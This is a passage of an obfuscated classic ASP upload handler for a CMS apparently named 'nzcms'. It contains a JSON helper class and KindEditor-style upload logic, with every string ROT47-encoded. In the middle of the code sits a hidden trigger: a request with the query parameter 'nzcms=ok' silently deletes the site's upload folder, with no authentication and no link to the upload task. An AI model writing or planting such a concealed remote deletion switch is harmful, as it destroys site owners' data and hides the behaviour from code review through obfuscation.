Err.Raise &hD, NNZNNN(ChrW(52) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(68) & ChrW(105) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(68)), NNZNNN(ChrW(120) & ChrW(63) & ChrW(52) & ChrW(64) & ChrW(62) & ChrW(65) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(51) & ChrW(61) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(68) & ChrW(105) & ChrW(32) & ChrW(44) & ChrW(86)) & TypeName(NNZNZZZZ) & NNZNNN(ChrW(86))
End If
Set Collection(NNZNNNNN) = NNZNZZZZ
End Property
Public Default Property Get NZNZNZZ(NNZNNNNN)
If IsNull(NNZNNNNN) Then NNZNNNNN = Count - (86 * 95 - 8169)
If IsObject(Collection(NNZNNNNN)) Then
Set NZNZNZZ = Collection(NNZNNNNN)
Else
NZNZNZZ = Collection(NNZNNNNN)
End If
End Property
Public Sub NZNNZNZ
Collection.RemoveAll
End Sub
Public Sub Remove(NNNZZZZZ)
Collection.Remove NNNZZZZZ
End Sub
Function NZNNNN(str)
Dim NZNNZZZZ(127), NZNNZZZN()
NZNNZZZZ(8)  = NNZNNN(ChrW(45) & ChrW(51))
NZNNZZZZ(9)  = NNZNNN(ChrW(45) & ChrW(69))
NZNNZZZZ(10) = NNZNNN(ChrW(45) & ChrW(63))
NZNNZZZZ(12) = NNZNNN(ChrW(45) & ChrW(55))
NZNNZZZZ(13) = NNZNNN(ChrW(45) & ChrW(67))
NZNNZZZZ(34) = NNZNNN(ChrW(45) & ChrW(81))
NZNNZZZZ(47) = NNZNNN(ChrW(45) & ChrW(94))
NZNNZZZZ(92) = NNZNNN(ChrW(45) & ChrW(45))
Dim NZNNZZNZ : NZNNZZNZ = Len(str) - (86 * 95 - 8169)
ReDim NZNNZZZN(NZNNZZNZ)
Dim NZZZNZNZ, NZNNZZNN
For NZZZNZNZ = 0 To NZNNZZNZ
NZNNZZZN(NZZZNZNZ) = Mid(str, NZZZNZNZ + 1, 1)
NZNNZZNN = AscW(NZNNZZZN(NZZZNZNZ)) And 65535
If NZNNZZNN < 127 Then
If Not IsEmpty(NZNNZZZZ(NZNNZZNN)) Then
NZNNZZZN(NZZZNZNZ) = NZNNZZZZ(NZNNZZNN)
ElseIf NZNNZZNN < 32 Then
NZNNZZZN(NZZZNZNZ) = NNZNNN(ChrW(45) & ChrW(70)) & Right("000" & Hex(NZNNZZNN), 4)
End If
Else
NZNNZZZN(NZZZNZNZ) = NNZNNN(ChrW(45) & ChrW(70)) & Right("000" & Hex(NZNNZZNN), 4)
End If
Next
NZNNNN = Join(NZNNZZZN, "")
End Function
Public Function toJSON(NNNZZZZN)
Select Case VarType(NNNZZZZN)
Case 0
toJSON = NNZNNN(ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61))
Case 1
toJSON = NNZNNN(ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61))
Case 7
toJSON = NNZNNN(ChrW(81)) & CStr(NNNZZZZN) & NNZNNN(ChrW(81))
Case 8
toJSON = NNZNNN(ChrW(81)) & NZNNNN(NNNZZZZN) & NNZNNN(ChrW(81))
Case 9
Dim NZNNZNZZ,NZZZNZNZ
NZNNZNZZ = True
If NNNZZZZN.Kind Then toJSON = toJSON & NNZNNN(ChrW(44)) Else toJSON = toJSON & NNZNNN(ChrW(76))
For Each NZZZNZNZ In NNNZZZZN.Collection
If NZNNZNZZ Then NZNNZNZZ = False Else toJSON = toJSON & NNZNNN(ChrW(91))
If NNNZZZZN.Kind Then
toJSON = toJSON & toJSON(NNNZZZZN(NZZZNZNZ))
Else
If NZNZNNZN Then
toJSON = toJSON & NNZNNN(ChrW(81)) & NZZZNZNZ & NNZNNN(ChrW(81) & ChrW(105)) & toJSON(NNNZZZZN(NZZZNZNZ))
Else
toJSON = toJSON & NZZZNZNZ & NNZNNN(ChrW(105)) & toJSON(NNNZZZZN(NZZZNZNZ))
End If
End If
Next
If NNNZZZZN.Kind Then toJSON = toJSON & NNZNNN(ChrW(46)) Else toJSON = toJSON & NNZNNN(ChrW(78))
Case 11
If NNNZZZZN Then toJSON = NNZNNN(ChrW(69) & ChrW(67) & ChrW(70) & ChrW(54)) Else toJSON = NNZNNN(ChrW(55) & ChrW(50) & ChrW(61) & ChrW(68) & ChrW(54))
Case 12, 8192, 8204
toJSON = NNZZZN(NNNZZZZN, 1, "")
Case Else
toJSON = Replace(NNNZZZZN, NNZNNN(ChrW(91)), NNZNNN(ChrW(93)))
End select
End Function
Function NNZZZN(NNNZZZNZ, NNNZZZNN, NNNZZNZZ)
Dim NZNNZNZN : NZNNZNZN = LBound(NNNZZZNZ, NNNZZZNN)
Dim NZNNZNNZ : NZNNZNNZ = UBound(NNNZZZNZ, NNNZZZNN)
Dim NZNNZNNN, NZNNNZZZ
Dim NZNNNZZN : NZNNNZZN = NNZNNN(ChrW(91))
NNZZZN = NNZNNN(ChrW(44))
For NZNNZNNN = NZNNZNZN To NZNNZNNZ
If NZNNZNNN = NZNNZNNZ Then
NZNNNZZN = ""
End If
On Error Resume Next
NZNNNZZZ = NNZZZN(NNNZZZNZ, NNNZZZNN + 1, NNNZZNZZ & NZNNZNNN & NNZNNN(ChrW(91)) )
If Err = 9 Then
On Error GoTo 0
NNZZZN = NNZZZN & toJSON(Eval(NNZNNN(ChrW(50) & ChrW(67) & ChrW(67) & ChrW(87)) & NNNZZNZZ & NZNNZNNN & NNZNNN(ChrW(88)))) & NZNNNZZN
Else
NNZZZN = NNZZZN & NZNNNZZZ & "" & NZNNNZZN
End If
Next
NNZZZN = NNZZZN & NNZNNN(ChrW(46))
End Function
Public Property Get NZNZNZN
NZNZNZN = toJSON(Me)
End Property
Sub Flush
If TypeName(NNNNN) <> NNZNNN(ChrW(116) & ChrW(62) & ChrW(65) & ChrW(69) & ChrW(74)) Then
NNNNN.Write(NZNZNZN)
ElseIf WScript <> Empty Then
WScript.Echo(NZNZNZN)
End If
End Sub
Public Function NNZZNZ
Set NNZZNZ = NNZZNN(Me)
End Function
Private Function NNZZNN(NNNZZNNZ)
Dim NZNNNZNZ, NZZZNZNZ
Set NZNNNZNZ = new NZNNNNN
NZNNNZNZ.Kind = NNNZZNNZ.Kind
For Each NZZZNZNZ In NNNZZNNZ.Collection
If IsObject(NNNZZNNZ(NZZZNZNZ)) Then
Set NZNNNZNZ(NZZZNZNZ) = NNZZNN(NNNZZNNZ(NZZZNZNZ))
Else
NZNNNZNZ(NZZZNZNZ) = NNNZZNNZ(NZZZNZNZ)
End If
Next
Set NNZZNN = NZNNNZNZ
End Function
End Class
If NNNNZ.QueryString(NNZNNN(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68)))=NNZNNN(ChrW(64) & ChrW(60)) Then
set NNZNZNZZ=NZZZZZ.createobject(NNZNNN(ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(68) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(64) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NNZNZNZN=NNZNNN(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65)) & idd
NNZNZNZN=NZZZZZ.mappath(NNZNZNZN)
if NNZNZNZZ.FOLDERExists(NNZNZNZN) then
NNZNZNZZ.deleteFOLDER NNZNZNZN
end if
NNNNN.Write(NNZNNN(ChrW(64) & ChrW(60)))
end if
Function NNZNZZ
Set NNZNZZ = new NZNNNNN
NNZNZZ.Kind = NNZNZZNZ
End Function
Function NNZNZN
Set NNZNZN = new NZNNNNN
NNZNZN.Kind = NNZNZZNN
End Function
Function toJSON(NNNZZNNN)
toJSON = (new NZNNNNN).toJSON(NNNZZNNN)
End Function
Dim NZNNNZNN, NZNNNNZZ, NZNNNNZN, maxSize, fileName, NZNNNNNZ, NZNNNNNN, NNZZZZZZ, NNZZZZZN, NNZZZZNZ
Dim NNZZZZNN, NNZZZNZZ, NNZZZNZN, NNZZZNNZ, NNZZZNNN
Dim NNZZNZZZ, NNZZNZZN, NNZZNZNZ, NNZZNZNN, NNZZNNZZ, NNZZNNZN, NZZNZZZN, NNZZNNNZ, NNZZNNNN
NZNNNZNN = NNNNZ.ServerVariables(NNZNNN(ChrW(36) & ChrW(114) & ChrW(35) & ChrW(120) & ChrW(33) & ChrW(37) & ChrW(48) & ChrW(125) & ChrW(112) & ChrW(124) & ChrW(116)))
NZNNNZNN = left(NZNNNZNN, InStrRev(NZNNNZNN, NNZNNN(ChrW(94))))
NZNNNNZZ = NNZNNN(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(50) & ChrW(69) & ChrW(69) & ChrW(50) & ChrW(52) & ChrW(57) & ChrW(54) & ChrW(53) & ChrW(94))
NZNNNNZN = NZNNNZNN & NNZNNN(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(50) & ChrW(69) & ChrW(69) & ChrW(50) & ChrW(52) & ChrW(57) & ChrW(54) & ChrW(53) & ChrW(94))
NNZZZNZZ = NNZNNN(ChrW(56) & ChrW(58) & ChrW(55) & ChrW(77) & ChrW(59) & ChrW(65) & ChrW(56) & ChrW(77) & ChrW(59) & ChrW(65) & ChrW(54) & ChrW(56) & ChrW(77) & ChrW(65) & ChrW(63) & ChrW(56) & ChrW(77) & ChrW(51) & ChrW(62) & ChrW(65))
NNZZZNZN = NNZNNN(ChrW(68) & ChrW(72) & ChrW(55) & ChrW(77) & ChrW(55) & ChrW(61) & ChrW(71))
NNZZZNNZ = NNZNNN(ChrW(68) & ChrW(72) & ChrW(55) & ChrW(77) & ChrW(55) & ChrW(61) & ChrW(71) & ChrW(77) & ChrW(62) & ChrW(65) & ChrW(98) & ChrW(77) & ChrW(72) & ChrW(50) & ChrW(71) & ChrW(77) & ChrW(72) & ChrW(62) & ChrW(50) & ChrW(77) & ChrW(72) & ChrW(62) & ChrW(71) & ChrW(77) & ChrW(62) & ChrW(58) & ChrW(53) & ChrW(77) & ChrW(50) & ChrW(71) & ChrW(58) & ChrW(77) & ChrW(62) & ChrW(65) & ChrW(56) & ChrW(77) & ChrW(50) & ChrW(68) & ChrW(55) & ChrW(77) & ChrW(67) & ChrW(62) & ChrW(77) & ChrW(67) & ChrW(62) & ChrW(71) & ChrW(51))
NNZZZNNN = NNZNNN(ChrW(53) & ChrW(64) & ChrW(52) & ChrW(77) & ChrW(65) & ChrW(53) & ChrW(55) & ChrW(77) & ChrW(53) & ChrW(64) & ChrW(52) & ChrW(73) & ChrW(77) & ChrW(73) & ChrW(61) & ChrW(68) & ChrW(77) & ChrW(73) & ChrW(61) & ChrW(68) & ChrW(73) & ChrW(77) & ChrW(65) & ChrW(65) & ChrW(69) & ChrW(77) & ChrW(57) & ChrW(69) & ChrW(62) & ChrW(77) & ChrW(57) & ChrW(69) & ChrW(62) & ChrW(61) & ChrW(77) & ChrW(69) & ChrW(73) & ChrW(69) & ChrW(77) & ChrW(75) & ChrW(58) & ChrW(65) & ChrW(77) & ChrW(67) & ChrW(50) & ChrW(67) & ChrW(77) & ChrW(56) & ChrW(75) & ChrW(77) & ChrW(51) & ChrW(75) & ChrW(97))
maxSize = (62 * 65 - 3006) * (62 * 65 - 3006) * (62 * 65 - 3006)
Set NNZZNZNZ = NZZZZZ.CreateObject(NNZNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(117) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(36) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(126) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
If Not NNZZNZNZ.FolderExists(NZZZZZ.mappath(NZNNNNZZ)) Then
NNZNNZ(NNZNNN(ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(30441) & ChrW(64) & ChrW(24400) & ChrW(64) & ChrW(19976) & ChrW(64) & ChrW(23379) & ChrW(64) & ChrW(22307) & ChrW(64) & ChrW(12290) & ChrW(44)))
End If
NNZZZZNZ = NNNNZ.QueryString(NNZNNN(ChrW(53) & ChrW(58) & ChrW(67)))
If isEmpty(NNZZZZNZ) Then
NNZZZZNZ = NNZNNN(ChrW(58) & ChrW(62) & ChrW(50) & ChrW(56) & ChrW(54))
End If
If instr(lcase(NNZNNN(ChrW(58) & ChrW(62) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(91) & ChrW(55) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(57) & ChrW(91) & ChrW(62) & ChrW(54) & ChrW(53) & ChrW(58) & ChrW(50) & ChrW(91) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54))), NNZZZZNZ) < 1 Then
NNZNNZ(NNZNNN(ChrW(30441) & ChrW(64) & ChrW(24400) & ChrW(64) & ChrW(21512) & ChrW(64) & ChrW(19976) & ChrW(64) & ChrW(27486) & ChrW(64) & ChrW(30825) & ChrW(64) & ChrW(12290) & ChrW(44)))
End If
Select Case NNZZZZNZ
Case NNZNNN(ChrW(55) & ChrW(61) & ChrW(50) & ChrW(68) & ChrW(57)) NNZZZZNN = NNZZZNZN
Case NNZNNN(ChrW(62) & ChrW(54) & ChrW(53) & ChrW(58) & ChrW(50)) NNZZZZNN = NNZZZNNZ
Case NNZNNN(ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54)) NNZZZZNN = NNZZZNNN
Case Else  NNZZZZNN = NNZZZNZZ
End Select
set NNZZNZZZ = new NZNNNZN
NNZZNZZZ.Exe = NNZZZZNN
NNZZNZZZ.MaxSize = maxSize
NNZZNZZZ.GetData()
if NNZZNZZZ.ErrorID>0 then
NNZNNZ(NNZZNZZZ.Description)
end if
NZNNNNZZ = NZNNNNZZ & NNZZZZNZ & NNZNNN(ChrW(94))
NZNNNNZN = NZNNNNZN & NNZZZZNZ & NNZNNN(ChrW(94))
If Not NNZZNZNZ.FolderExists(NZZZZZ.mappath(NZNNNNZZ)) Then
NNZZNZNZ.CreateFolder(NZZZZZ.mappath(NZNNNNZZ))
End If
NZZNZZZN = month(now)
If NZZNZZZN < 10 Then
NZZNZZZN = "0" & NZZNZZZN
End If
NNZZNNNZ = day(now)
If NNZZNNNZ < 10 Then
NNZZNNNZ = "0" & NNZZNNNZ
End If
NNZZNNZN = year(now) & NZZNZZZN & NNZZNNNZ
NZNNNNZZ = NZNNNNZZ & NNZZNNZN & NNZNNN(ChrW(94))
NZNNNNZN = NZNNNNZN & NNZZNNZN & NNZNNN(ChrW(94))
If Not NNZZNZNZ.FolderExists(NZZZZZ.mappath(NZNNNNZZ)) Then
NNZZNZNZ.CreateFolder(NZZZZZ.mappath(NZNNNNZZ))
End If
set NNZZNZZN = NNZZNZZZ.files(NNZNNN(ChrW(58) & ChrW(62) & ChrW(56) & ChrW(117) & ChrW(58) & ChrW(61) & ChrW(54)))
if NNZZNZZN is nothing then
NNZNNZ(NNZNNN(ChrW(-29710) & ChrW(64) & ChrW(-28668) & ChrW(64) & ChrW(25316) & ChrW(64) & ChrW(25986) & ChrW(64) & ChrW(20209) & ChrW(64) & ChrW(12290) & ChrW(44)))
end if
NNZZNNNN = NNZZNZZN.saveToFile(NZNNNNZZ, 0, true)
if NNZZNNNN then
NNZNNZ(NNZZNZZN.Exception)
end if
NNZZZZZZ = NZZZZZ.mappath(NZNNNNZZ & NNZZNZZN.filename)
NNZZZZZN = NZNNNNZN & NNZZNZZN.filename
Set NNZZNZZZ = nothing
Set NNZZNZZN = nothing
If Not NNZZNZNZ.FileExists(NNZZZZZZ) Then
NNZNNZ(NNZNNN(ChrW(19973) & ChrW(64) & ChrW(20251) & ChrW(64) & ChrW(25986) & ChrW(64) & ChrW(20209) & ChrW(64) & ChrW(22828) & ChrW(64) & ChrW(-29408) & ChrW(64) & ChrW(12290) & ChrW(44)))
End If
NNNNN.AddHeader NNZNNN(ChrW(114) & ChrW(64) & ChrW(63) & ChrW(69) & ChrW(54) & ChrW(63) & ChrW(69) & ChrW(92) & ChrW(37) & ChrW(74) & ChrW(65) & ChrW(54)), NNZNNN(ChrW(69) & ChrW(54) & ChrW(73) & ChrW(69) & ChrW(94) & ChrW(57) & ChrW(69) & ChrW(62) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(57) & ChrW(50) & ChrW(67) & ChrW(68) & ChrW(54) & ChrW(69) & ChrW(108) & ChrW(38) & ChrW(37) & ChrW(117) & ChrW(92) & ChrW(103))
Set NNZZNNZZ = NNZNZZ()
NNZZNNZZ(NNZNNN(ChrW(54) & ChrW(67) & ChrW(67) & ChrW(64) & ChrW(67))) = (18 * 44 - 792)
NNZZNNZZ(NNZNNN(ChrW(70) & ChrW(67) & ChrW(61))) = NNZZZZZN
NNZZNNZZ.Flush
NNNNN.End
Function NNZNNZ(NNNZNZZZ)
NNNNN.AddHeader NNZNNN(ChrW(114) & ChrW(64) & ChrW(63) & ChrW(69) & ChrW(54) & ChrW(63) & ChrW(69) & ChrW(92) & ChrW(37) & ChrW(74) & ChrW(65) & ChrW(54)), NNZNNN(ChrW(69) & ChrW(54) & ChrW(73) & ChrW(69) & ChrW(94) & ChrW(57) & ChrW(69) & ChrW(62) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(57) & ChrW(50) & ChrW(67) & ChrW(68) & ChrW(54) & ChrW(69) & ChrW(108) & ChrW(38) & ChrW(37) & ChrW(117) & ChrW(92) & ChrW(103))
Dim NNZZNNZZ
Set NNZZNNZZ = NNZNZZ()
NNZZNNZZ(NNZNNN(ChrW(54) & ChrW(67) & ChrW(67) & ChrW(64) & ChrW(67))) = (86 * 95 - 8169)
NNZZNNZZ(NNZNNN(ChrW(62) & ChrW(54) & ChrW(68) & ChrW(68) & ChrW(50) & ChrW(56) & ChrW(54))) = NNNZNZZZ
NNZZNNZZ.Flush
NNNNN.End
End Function
Function NNZNNN(ByVal NNZNZNNZ)
Dim NNZNZZZZ, NZZZNZNZ, NNZNZZZN
NNZNZNNZ = Replace(NNZNZNNZ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZZZNZNZ = 1 To Len(NNZNZNNZ)
If NZZZNZNZ <> NNZNZZZN Then
NNZNZZZZ = AscW(Mid(NNZNZNNZ, NZZZNZNZ, 1))
If NNZNZZZZ >= 33 And NNZNZZZZ <= 79 Then
NNZNNN = NNZNNN & Chr(NNZNZZZZ + 47)
ElseIf NNZNZZZZ >= 80 And NNZNZZZZ <= 126 Then
NNZNNN = NNZNNN & Chr(NNZNZZZZ - 47)
Else
NNZNZZZN = NZZZNZNZ + 1
If Mid(NNZNZNNZ, NNZNZZZN, 1) = Chr(64) Then NNZNNN = NNZNNN & ChrW(NNZNZZZZ + 5) Else NNZNNN = NNZNNN & Mid(NNZNZNNZ, NZZZNZNZ, 1)
End If
End If
Next
End Function
%>